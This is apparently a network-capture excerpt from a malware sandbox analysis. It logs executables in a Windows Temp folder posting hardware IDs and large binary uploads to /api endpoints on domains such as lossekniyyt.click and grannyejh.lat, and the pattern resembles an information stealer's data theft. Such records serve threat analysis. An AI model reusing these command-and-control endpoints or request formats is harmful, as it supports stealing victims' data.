2024-12-18 18:08:41 UTC	1369	IN	Data Raw: 44 6f 47 2b 44 59 4c 38 76 78 72 59 4a 55 38 4c 49 72 61 72 6c 53 31 2f 66 6d 67 61 78 74 49 38 58 6d 42 61 74 6d 33 35 2b 31 52 5a 7a 6f 38 4f 69 2f 71 78 43 5a 63 77 45 78 70 73 76 4b 7a 61 66 69 31 79 61 78 37 46 32 6a 68 65 59 68 76 30 49 2f 6e 6d 48 51 6d 47 71 41 4b 41 38 72 4d 52 32 43 35 5a 42 69 6d 2f 70 35 34 67 59 6a 34 72 58 73 33 4f 64 41 30 71 4e 64 38 59 76 4d 49 75 51 5a 48 30 47 73 54 39 76 6c 2b 50 62 31 45 41 49 4c 4f 76 6e 43 39 68 64 47 77 56 78 74 30 77 57 57 4d 66 2f 69 7a 37 35 68 55 46 67 72 41 46 68 2f 6d 39 45 4e 67 6e 48 55 31 73 76 4c 6a 61 66 69 31 62 63 68 58 45 30 48 52 4b 4a 41 4f 34 4b 76 4b 6a 54 45 47 43 73 77 57 43 2f 37 34 65 30 53 64 59 43 79 69 36 70 70 77 6c 59 6e 70 67 48 38 58 53 4f 46 74 67 47 2f 6b 68 39 65 77 Data Ascii: DoG+DYL8vxrYJU8LIrarlS1/fmgaxtI8XmBatm35+1RZzo8Oi/qxCZcwExpsvKzafi1yax7F2jheYhv0I/nmHQmGqAKA8rMR2C5ZBim/p54gYj4rXs3OdA0qNd8YvMIuQZH0GsT9vl+Pb1EAILOvnC9hdGwVxt0wWWMf/iz75hUFgrAFh/m9ENgnHU1svLjafi1bchXE0HRKJAO4KvKjTEGCswWC/74e0SdYCyi6ppwlYnpgH8XSOFtgG/kh9ew
2024-12-18 18:08:41 UTC	1369	IN	Data Raw: 67 53 49 2f 4c 30 5a 31 69 70 58 44 79 75 2b 71 35 55 71 4c 54 41 6c 47 64 4b 57 62 42 56 45 45 65 73 36 2f 65 30 66 46 35 58 36 48 4d 72 6a 38 68 6a 62 62 77 56 44 4c 37 43 72 6e 69 5a 68 66 6d 45 54 79 73 51 37 55 6d 30 54 38 7a 2f 30 35 42 4d 4b 68 72 45 4d 67 75 69 2b 45 63 55 71 54 78 46 73 39 65 43 64 50 69 30 6d 4a 53 6a 4e 78 69 52 57 4b 43 76 75 4c 75 6a 6f 47 51 33 4f 70 55 32 64 75 72 55 54 6c 33 63 64 42 53 4f 79 6f 35 55 6e 5a 48 4a 6f 47 38 50 54 4e 56 4e 75 45 50 49 74 2b 4f 55 56 42 49 53 35 41 6f 37 7a 74 52 66 51 4c 45 39 44 59 76 75 6e 67 6d 59 31 50 6b 77 5a 32 4e 67 6b 46 58 56 55 34 57 33 35 37 31 52 5a 7a 72 34 4a 69 2f 36 31 45 39 45 71 57 77 34 74 74 4b 47 61 4b 57 6c 31 62 42 6a 4c 32 7a 46 59 62 67 6a 79 4a 76 48 76 48 51 32 44 Data Ascii: gSI/L0Z1ipXDyu+q5UqLTAlGdKWbBVEEes6/e0fF5X6HMrj8hjbbwVDL7CrniZhfmETysQ7Um0T8z/05BMKhrEMgui+EcUqTxFs9eCdPi0mJSjNxiRWKCvuLujoGQ3OpU2durUTl3cdBSOyo5UnZHJoG8PTNVNuEPIt+OUVBIS5Ao7ztRfQLE9DYvungmY1PkwZ2NgkFXVU4W3571RZzr4Ji/61E9EqWw4ttKGaKWl1bBjL2zFYbgjyJvHvHQ2D
2024-12-18 18:08:41 UTC	1369	IN	Data Raw: 65 78 45 4e 51 39 58 41 55 2b 75 36 32 51 4e 47 64 31 59 42 50 48 32 7a 64 54 62 42 48 30 50 2f 66 6a 46 77 72 4f 39 45 4f 44 34 76 4a 48 6c 77 78 4b 46 53 61 38 72 49 77 74 62 48 31 7a 45 39 71 57 65 68 56 37 48 65 6c 74 70 76 55 45 46 6f 6d 6c 54 5a 32 36 74 52 4f 58 64 78 30 46 4a 62 32 6e 6e 43 68 2f 65 32 4d 52 78 64 38 39 55 57 49 5a 2b 43 6e 36 35 42 45 43 67 72 45 45 68 2f 57 32 46 74 6b 6d 55 6b 4e 69 2b 36 65 43 5a 6a 55 2b 52 41 58 4a 32 6a 6b 56 64 56 54 68 62 66 6e 76 56 46 6e 4f 74 67 32 42 2b 72 67 5a 30 79 70 62 43 53 6d 37 71 35 6b 70 61 58 68 68 45 63 72 64 50 56 52 73 48 2f 49 6d 2b 4f 34 58 42 34 6a 36 54 63 54 39 71 6c 2b 50 62 33 30 59 49 62 65 6e 32 6a 6b 6a 5a 79 55 5a 78 70 5a 73 46 57 45 57 2f 43 72 2b 37 68 63 4a 69 37 34 4a 67 Data Ascii: exENQ9XAU+u62QNGd1YBPH2zdTbBH0P/fjFwrO9EOD4vJHlwxKFSa8rIwtbH1zE9qWehV7HeltpvUEFomlTZ26tROXdx0FJb2nnCh/e2MRxd89UWIZ+Cn65BECgrEEh/W2FtkmUkNi+6eCZjU+RAXJ2jkVdVThbfnvVFnOtg2B+rgZ0ypbCSm7q5kpaXhhEcrdPVRsH/Im+O4XB4j6TcT9ql+Pb30YIben2jkjZyUZxpZsFWEW/Cr+7hcJi74Jg
2024-12-18 18:08:41 UTC	1369	IN	Data Raw: 55 50 6c 52 44 59 76 75 6e 6a 47 59 31 50 6c 74 65 32 4e 55 6b 56 6d 55 4c 78 6d 32 6d 2b 69 70 42 68 61 77 45 6c 50 6d 6b 46 4e 6f 6a 54 44 31 73 34 2f 54 49 64 44 38 73 4e 77 47 4b 79 51 73 62 4b 68 75 34 64 63 66 36 56 42 66 4f 34 6c 48 4b 75 71 42 66 6a 32 38 61 41 44 36 70 70 70 6b 77 62 6a 6c 62 49 4f 33 41 50 6c 4a 36 48 65 38 69 76 71 31 55 44 73 37 69 4f 73 54 7a 74 51 54 47 4f 56 41 54 4b 2f 75 66 31 47 5a 31 50 6a 31 65 2f 39 55 36 57 32 30 4d 36 57 44 5a 39 52 34 47 6e 72 30 55 69 37 72 38 58 39 46 76 42 56 42 69 2b 36 53 4c 5a 6a 55 75 4e 30 57 66 68 57 4d 46 4f 41 57 32 4e 4c 37 31 56 46 6e 63 39 45 4f 57 75 75 70 66 6b 43 78 50 45 53 71 34 74 70 6c 68 55 30 42 43 42 4d 66 51 49 30 52 55 4a 50 38 33 38 2b 55 44 45 4d 4b 76 41 49 72 30 74 51 Data Ascii: UPlRDYvunjGY1Plte2NUkVmULxm2m+ipBhawElPmkFNojTD1s4/TIdD8sNwGKyQsbKhu4dcf6VBfO4lHKuqBfj28aAD6pppkwbjlbIO3APlJ6He8ivq1UDs7iOsTztQTGOVATK/uf1GZ1Pj1e/9U6W20M6WDZ9R4Gnr0Ui7r8X9FvBVBi+6SLZjUuN0WfhWMFOAW2NL71VFnc9EOWuupfkCxPESq4tplhU0BCBMfQI0RUJP838+UDEMKvAIr0tQ
2024-12-18 18:08:41 UTC	1369	IN	Data Raw: 42 57 7a 6a 38 4e 52 6d 61 57 38 6c 52 70 71 45 62 77 41 35 54 61 68 2f 34 61 30 4e 51 5a 6a 36 57 39 61 30 38 67 32 58 64 78 31 45 4c 36 6d 79 6e 43 56 37 66 53 49 67 39 50 45 36 55 6d 73 4d 36 44 72 78 33 53 6f 55 6a 62 51 4e 67 2b 79 6a 58 35 6c 76 55 6b 4e 30 67 75 44 53 5a 6c 49 77 4a 51 61 4b 6a 6e 52 67 61 52 54 32 4b 75 6a 79 57 53 61 41 76 51 4b 53 36 71 55 51 6c 32 45 64 42 57 7a 6a 38 74 52 6d 61 57 38 6c 52 70 71 45 62 77 41 35 54 61 68 2f 34 61 30 4e 51 5a 6a 36 57 39 61 30 38 67 32 58 64 78 31 45 4c 36 6d 79 6e 43 56 37 66 53 49 67 39 50 45 36 55 6d 73 4d 36 44 72 78 72 44 6f 33 72 34 51 39 6b 66 6d 38 45 64 41 35 54 45 4e 69 2b 36 2f 61 66 6c 51 2b 4c 56 37 31 6d 48 52 4e 4b 6b 4b 34 47 50 33 74 47 67 61 59 71 30 36 6a 39 4c 55 65 77 54 39 Data Ascii: BWzj8NRmaW8lRpqEbwA5Tah/4a0NQZj6W9a08g2Xdx1EL6mynCV7fSIg9PE6UmsM6Drx3SoUjbQNg+yjX5lvUkN0guDSZlIwJQaKjnRgaRT2KujyWSaAvQKS6qUQl2EdBWzj8tRmaW8lRpqEbwA5Tah/4a0NQZj6W9a08g2Xdx1EL6mynCV7fSIg9PE6UmsM6DrxrDo3r4Q9kfm8EdA5TENi+6/aflQ+LV71mHRNKkK4GP3tGgaYq06j9LUewT9
2024-12-18 18:08:41 UTC	1369	IN	Data Raw: 36 50 59 46 32 42 36 63 77 76 4a 78 6a 4e 72 56 44 66 71 4b 75 37 67 56 6a 43 59 75 51 4f 4b 2f 66 4a 52 6c 7a 63 64 57 32 79 57 73 70 30 32 62 6a 34 72 58 73 61 57 62 42 56 6e 43 50 38 39 2f 61 38 54 47 34 6e 36 48 4d 72 6a 38 67 6d 58 64 77 35 4e 62 4b 6e 67 77 6d 59 71 63 47 67 66 79 64 67 33 52 33 67 63 2b 7a 76 39 70 43 6f 2f 6f 36 67 45 6c 50 6e 77 4c 74 6f 72 53 78 59 76 71 36 65 6b 47 45 42 73 59 67 37 4a 6c 42 68 53 5a 78 62 47 45 38 6e 79 45 78 48 4d 6e 41 43 53 2b 66 4a 52 6c 7a 63 64 57 32 79 57 73 70 30 32 62 6a 78 4a 47 63 66 61 64 45 6f 6b 41 37 67 37 76 72 74 48 54 38 36 6f 51 39 79 36 39 52 7a 46 50 56 73 41 4f 72 6a 6e 70 42 68 41 62 47 49 4f 79 5a 51 46 57 47 34 4d 37 53 37 75 35 43 6f 2f 6f 36 67 45 6c 50 6e 77 4f 75 31 74 62 42 55 76 Data Ascii: 6PYF2B6cwvJxjNrVDfqKu7gVjCYuQOK/fJRlzcdW2yWsp02bj4rXsaWbBVnCP89/a8TG4n6HMrj8gmXdw5NbKngwmYqcGgfydg3R3gc+zv9pCo/o6gElPnwLtorSxYvq6ekGEBsYg7JlBhSZxbGE8nyExHMnACS+fJRlzcdW2yWsp02bjxJGcfadEokA7g7vrtHT86oQ9y69RzFPVsAOrjnpBhAbGIOyZQFWG4M7S7u5Co/o6gElPnwOu1tbBUv

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.5	49734	172.67.131.246	443	8060	C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-18 18:08:40 UTC	273	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=L36MEL9FY User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1200 Host: lossekniyyt.click
2024-12-18 18:08:40 UTC	1200	OUT	Data Raw: 2d 2d 4c 33 36 4d 45 4c 39 46 59 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 35 33 39 37 43 46 32 43 35 45 44 43 37 41 34 31 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 4c 33 36 4d 45 4c 39 46 59 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 4c 33 36 4d 45 4c 39 46 59 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 39 5a 31 63 79 63 2d 2d 0d 0a 2d 2d 4c 33 36 4d 45 4c 39 46 59 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 Data Ascii: --L36MEL9FYContent-Disposition: form-data; name="hwid"5397CF2C5EDC7A41AC8923850305D13E--L36MEL9FYContent-Disposition: form-data; name="pid"1--L36MEL9FYContent-Disposition: form-data; name="lid"9Z1cyc----L36MEL9FYContent-Dispositi
2024-12-18 18:08:42 UTC	1046	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 18:08:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=0heopc26mfearnb11ev07lp7lg; expires=Sun, 13-Apr-2025 11:55:20 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=RFWzppFgy58pmW%2B%2BLI1QTy60BQqYuT29YkoEB5oMJnjlc9GzfLvnNsGJbzUV8qbYJVjkiDYMxfppAq6aZvxkgx60VbprHK7vq9lc4%2BMJUJ%2BtxhpEt6tIj8FZEWbh4mQ%2FrZqOAg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f4119804cff3320-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1842&min_rtt=1837&rtt_var=699&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2842&recv_bytes=2109&delivery_rate=1553191&cwnd=252&unsent_bytes=0&cid=e644c51e9606e26e&ts=1893&x=0"
2024-12-18 18:08:42 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-18 18:08:42 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.5	49736	172.67.179.109	443	7240	C:\Users\user\AppData\Local\Temp\1017012001\37179ed0b8.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-18 18:08:43 UTC	275	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=CAEKA7KUJX46Q0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12816 Host: grannyejh.lat
2024-12-18 18:08:43 UTC	12816	OUT	Data Raw: 2d 2d 43 41 45 4b 41 37 4b 55 4a 58 34 36 51 30 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 35 33 39 37 43 46 32 43 35 45 44 43 37 41 34 31 30 30 44 35 37 46 39 44 44 44 33 37 42 45 30 43 0d 0a 2d 2d 43 41 45 4b 41 37 4b 55 4a 58 34 36 51 30 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 43 41 45 4b 41 37 4b 55 4a 58 34 36 51 30 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 79 61 75 36 4e 61 2d 2d 36 39 38 39 37 38 33 33 37 30 0d 0a 2d 2d 43 41 45 Data Ascii: --CAEKA7KUJX46Q0Content-Disposition: form-data; name="hwid"5397CF2C5EDC7A4100D57F9DDD37BE0C--CAEKA7KUJX46Q0Content-Disposition: form-data; name="pid"2--CAEKA7KUJX46Q0Content-Disposition: form-data; name="lid"yau6Na--6989783370--CAE
2024-12-18 18:08:45 UTC	1034	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 18:08:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=iae2drensqe3h2qi3e8ofif5di; expires=Sun, 13-Apr-2025 11:55:23 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=86fSv4fARgRg%2BjtrJj7a1s1JeqTyHTwD0GHxsFqMr0egDNaBz6S0qg8JXuPVBZH%2FI0F7bbddf1XF%2BGHE2ZrSkhmnmQ1p3w%2F14ND1MxdNNQ4UKh6sITSLrzNLLiVdOUTe"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f4119912882431a-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1727&min_rtt=1726&rtt_var=650&sent=8&recv=17&lost=0&retrans=0&sent_bytes=2831&recv_bytes=13749&delivery_rate=1679125&cwnd=224&unsent_bytes=0&cid=c5bb3a8da19d9fd7&ts=1754&x=0"
2024-12-18 18:08:45 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-18 18:08:45 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.5	49738	172.67.131.246	443	8060	C:\Users\user\AppData\Local\Temp\1017010001\fba63623fe.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-18 18:08:44 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=D4YYCVC9V4DOUHN34E User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 567404 Host: lossekniyyt.click
2024-12-18 18:08:44 UTC	15331	OUT	Data Raw: 2d 2d 44 34 59 59 43 56 43 39 56 34 44 4f 55 48 4e 33 34 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 35 33 39 37 43 46 32 43 35 45 44 43 37 41 34 31 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 44 34 59 59 43 56 43 39 56 34 44 4f 55 48 4e 33 34 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 44 34 59 59 43 56 43 39 56 34 44 4f 55 48 4e 33 34 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 39 5a 31 63 79 63 2d 2d 0d 0a 2d 2d 44 Data Ascii: --D4YYCVC9V4DOUHN34EContent-Disposition: form-data; name="hwid"5397CF2C5EDC7A41AC8923850305D13E--D4YYCVC9V4DOUHN34EContent-Disposition: form-data; name="pid"1--D4YYCVC9V4DOUHN34EContent-Disposition: form-data; name="lid"9Z1cyc----D
2024-12-18 18:08:44 UTC	15331	OUT	Data Raw: 7b ff df 8b 2b 8a 99 6f 84 ce 93 45 04 24 f4 67 e7 c8 f4 21 70 02 2c 11 36 05 c4 ea 91 ec 8e db 72 92 30 1f ef cf ce 97 43 ad 2a ae 1f 35 fe 93 2b d1 68 5a e0 86 6d a0 d7 3b 69 90 34 9f dc 48 94 a1 26 49 fd ae 15 64 d1 20 cc b3 b5 dc 68 e8 6d 9f fa 98 80 cb b9 55 c8 3b ad 01 5e 1a 11 d6 e5 08 dd d3 7d 4c 71 5a 30 4b 75 c3 4c 69 f7 c2 93 b8 ce 92 1c 2c ac b7 64 91 5b b4 33 e1 e5 76 3a 6f 72 86 52 25 3b 5d a2 b8 7a 8f 15 9e 35 c7 0a 54 09 d9 35 53 be 1d a6 c2 c6 fc 40 6d c2 b1 d3 6a 1c 9a 3a c1 bc 85 5b 14 03 df 8a f0 2c f6 1d 21 ff 83 b1 6b b7 f4 11 1d d6 10 1e 92 a8 9e b8 d5 18 d0 8e db 7c 47 9c 7b 1f a7 89 8f 46 6d 15 0a 26 9c 62 62 c8 ce 1f 9e 25 5a 1c d7 bd b2 04 39 b6 5b d4 a4 06 d7 2c db f2 a3 38 19 a3 a4 bc d8 f9 3b 23 0a cd 77 59 66 13 8d 9b ba 16 Data Ascii: {+oE$g!p,6r0C*5+hZm;i4H&Id hmU;^}LqZ0KuLi,d[3v:orR%;]z5T5S@mj:[,!k\|G{Fm&bb%Z9[,8;#wYf
2024-12-18 18:08:44 UTC	15331	OUT	Data Raw: a6 27 9d 9b 37 d3 e4 26 ba 1c de ed cd 81 c6 be 56 3a 39 b1 5f 17 58 c8 07 97 0d b5 82 1d 98 17 ce 96 cd 14 22 55 23 92 7b 6b 5a dd 89 93 cf 3a d2 6c 2c b5 70 7e 5c f1 b8 21 81 b0 fb 4e 35 39 96 b4 94 dc 1f e9 7d ff 07 23 4a 96 3f 21 12 32 50 43 29 e5 29 b7 3b fe d7 6d 72 34 cc 33 df 2f 34 dc c7 0e 4a 47 19 05 aa 07 9b 35 04 15 11 30 6c b1 ae c7 5f 56 94 13 22 6b 8c 10 5e e5 44 b8 55 6f 95 fe 3c 9a f3 a4 54 18 da 24 f0 76 b9 da 25 f2 11 86 15 6c 18 a1 01 51 eb 6f 9a ef 88 06 16 ab ae 36 07 d0 d1 bb 86 ca 54 e4 8a b6 e2 77 2a 86 c2 5e 63 8a 03 c1 d6 6f 03 a7 15 ac d6 5f 31 2c 7e 6d c4 da ec 46 ed 50 3d bb bd 91 e7 3f ea ec 9a 9b 18 5f 1a 79 67 fd 71 f9 fa 58 e2 c0 c9 43 03 3f 03 d7 df 32 3c d9 5f 9e fd 96 50 b7 1d 3c 00 2a 16 56 ed 4b 54 ae db 8c b6 a6 06 Data Ascii: '7&V:9_X"U#{kZ:l,p~\!N59}#J?!2PC));mr43/4JG50l_V"k^DUo<T$v%lQo6Tw^co_1,~mFP=?_ygqXC?2<_P<VKT
2024-12-18 18:08:44 UTC	15331	OUT	Data Raw: cf c8 57 5f af cb 3e 59 e7 be cc 79 34 38 aa c5 7a a2 62 ff 81 6c 53 ff 55 a9 ef 4f d9 2f 8e 5d e8 95 8a 7e da d8 7d 1c ac f0 4d 94 b5 37 11 24 1e 01 d3 5a 18 69 15 90 32 35 b0 4a a2 ea ef 1c b4 59 24 8c 49 df b8 d1 41 d3 c2 24 ba 81 5e 02 11 03 2e 1f 57 fb 7e 08 93 af 75 5a 83 68 01 74 ce e2 7b 0f 00 e5 48 f8 75 03 c3 52 3e b3 92 7b 46 99 61 f6 81 84 88 16 6d 37 28 41 0b e4 bb 73 54 20 38 9e 40 b9 c4 3c 05 51 15 2e ac 67 23 33 66 f9 13 c1 44 19 74 f9 63 43 d5 e7 dd e4 a9 10 db d9 9b 47 90 ca c3 29 21 46 f9 b2 c1 16 f2 cf b7 26 a6 22 af 07 8a ad 0c 4a f8 eb cf 50 cb 9d 08 90 ca fc 3d 88 02 0c 19 75 77 b6 c8 a9 fa a8 37 05 7b 49 dd 7b 2d d4 72 34 b6 a7 e3 c8 f1 ac dc 2d 81 b7 5e c6 ad 5b f7 b8 0f 51 80 b1 28 dd 2a 0e d3 1f 04 fb 41 4d 03 61 84 45 c0 56 5b Data Ascii: W_>Yy48zblSUO/]~}M7$Zi25JY$IA$^.W~uZht{HuR>{Fam7(AsT 8@<Q.g#3fDtcCG)!F&"JP=uw7{I{-r4-^[Q(*AMaEV[
2024-12-18 18:08:44 UTC	15331	OUT	Data Raw: 89 84 7f 36 7e dc 6f 35 c3 5f e0 7a 89 8d 54 64 a9 b3 ad 1b 74 9d 87 36 1a f0 df 4d 27 6c 48 d4 2d 02 a4 2b 67 25 9f e1 cf 9e 58 73 ad 8f 16 37 d5 48 eb 69 16 22 36 05 98 7a 56 65 ed 16 88 f6 9e 6c ea 34 73 e4 d9 34 a1 b4 eb ad 2b 83 56 e1 90 f7 63 e3 98 12 52 52 a6 ba 00 10 62 5d 10 23 b9 6d 0f 1b 16 bc 59 b1 71 08 8f da 19 87 bb 40 ee 3b 20 0e e1 23 7a 1a c8 c1 53 6b 3d 12 11 9e f1 ef 5f e9 17 35 85 1e 10 ce 1a e7 4f f5 d1 2f 88 f9 b6 11 8e fb 76 f8 7e e8 cc 07 35 51 de 43 e2 ff ef b4 6b b0 09 a8 a1 18 10 a3 87 4a 85 c2 33 8e 83 cc 88 fa 8f 00 ae bf 00 ab b3 a4 ea 7e 4f 9c 3f 10 cb 30 32 72 29 9c 0a 82 e3 36 1d 53 a3 c3 47 32 36 5f 58 3f e2 e9 30 a3 7f 5f 11 43 c1 dd c3 d9 20 c9 8b ac 87 5a a9 36 83 4d d5 88 ee a9 6b b8 fd 99 01 d8 f4 77 46 7d 62 e5 62 Data Ascii: 6~o5_zTdt6M'lH-+g%Xs7Hi"6zVel4s4+VcRRb]#mYq@; #zSk=_5O/v~5QCkJ3~O?02r)6SG26_X?0_C Z6MkwF}bb
2024-12-18 18:08:44 UTC	15331	OUT	Data Raw: 2a 7f 41 b8 71 2d c9 13 dd b9 28 4c 26 61 69 b7 85 64 b5 5f f4 69 fc c6 d4 fb ca 69 1a 08 0b 55 21 81 05 fb cc ee 7e ed 96 c1 df 9d 19 1b e6 da 65 fb 3b 4d 6a f5 fb f3 c3 76 dc a1 1d ac 7f 5e ca 14 09 54 20 d1 7c 0f 07 38 b1 d5 bf b1 4c 5f 6a 33 57 73 94 cf 6e 8a 14 a1 1a 89 87 a8 c2 af 88 bd 7c b9 79 86 b5 a4 5a fd 8b f8 17 b3 d5 15 41 9a c6 2f e2 b1 69 0a 77 e0 0c 19 98 8f 33 9f fc 0d 38 24 4e 8f 18 55 fd c0 c6 8c f5 4e ec 97 c7 d4 57 36 f8 16 32 84 4e 57 1d 74 d8 64 ec 0b 6c 09 a0 1c 8b 7c 9f 2a 1e 55 5f 8d 96 8d 22 15 7c 71 b4 db 53 2b fd de ec 5e f0 93 41 54 d3 f3 f5 9a 95 b6 5c 61 cf f9 3c 43 d8 70 cf ef d9 c2 da d4 27 d4 ee 0f 84 a9 6f 85 22 ce 80 3c bd 4d 1b d1 b7 fd a0 1f ba b6 fa 43 54 61 a8 78 4f 7d e5 26 67 f3 50 21 d6 54 88 2c 2c e8 7b cf 74 Data Ascii: Aq-(L&aid_iiU!~e;Mjv^T \|8L_j3Wsn\|yZA/iw38$NUNW62NWtdl\|U_"\|qS+^AT\a<Cp'o"<MCTaxO}&gP!T,,{t
2024-12-18 18:08:44 UTC	15331	OUT	Data Raw: e6 1c 39 9b 48 fc f7 9b 90 c1 bf 0d 51 c2 9f d6 e9 df 3f 4f f4 33 b0 d7 4e 49 5f 51 b9 79 95 c8 77 2c e0 75 94 ca 7f 02 35 bd a7 0f 3a 94 07 97 5b 6f 3d 51 b0 98 d5 8d f2 8b 7b 1e a8 73 c4 fa c8 25 f7 ae 1f 25 67 ff a0 6a 9e 07 ec d8 38 13 3f 29 26 ed c1 a6 3c c7 85 9f cf 0f 7e 3b c0 2a b3 d1 ed e8 eb 7c 78 7d 30 a4 6e bc 38 b5 63 3f 39 d7 99 7b dd f2 ba 43 d7 d9 7c cd 82 b4 36 66 ef cf fc 73 1d 9d b1 b2 83 7b 2f 2c f5 2d ac bc 55 77 cc a1 fe d9 1f 76 5e cb 1c 44 3c 3e 07 f1 49 42 b5 15 be df bd 76 7c f0 64 9c 4f 77 de c3 97 9c d5 d0 95 3a 75 62 25 df 68 ff df f4 c1 44 da c0 c3 49 e7 db 35 39 7f 85 2d 74 45 75 35 48 5d 0a 5b 58 2f b9 81 42 85 b4 8e a5 e5 e4 36 8c a5 ae bc a5 ad da 58 b8 2e 18 fe 8c 4d cb 68 b8 d2 12 74 84 24 56 57 f3 95 fa 27 ca ed ed c2 Data Ascii: 9HQ?O3NI_Qyw,u5:[o=Q{s%%gj8?)&<~;*\|x}0n8c?9{C\|6fs{/,-Uwv^D<>IBv\|dOw:ub%hDI59-tEu5H][X/B6X.Mht$VW'
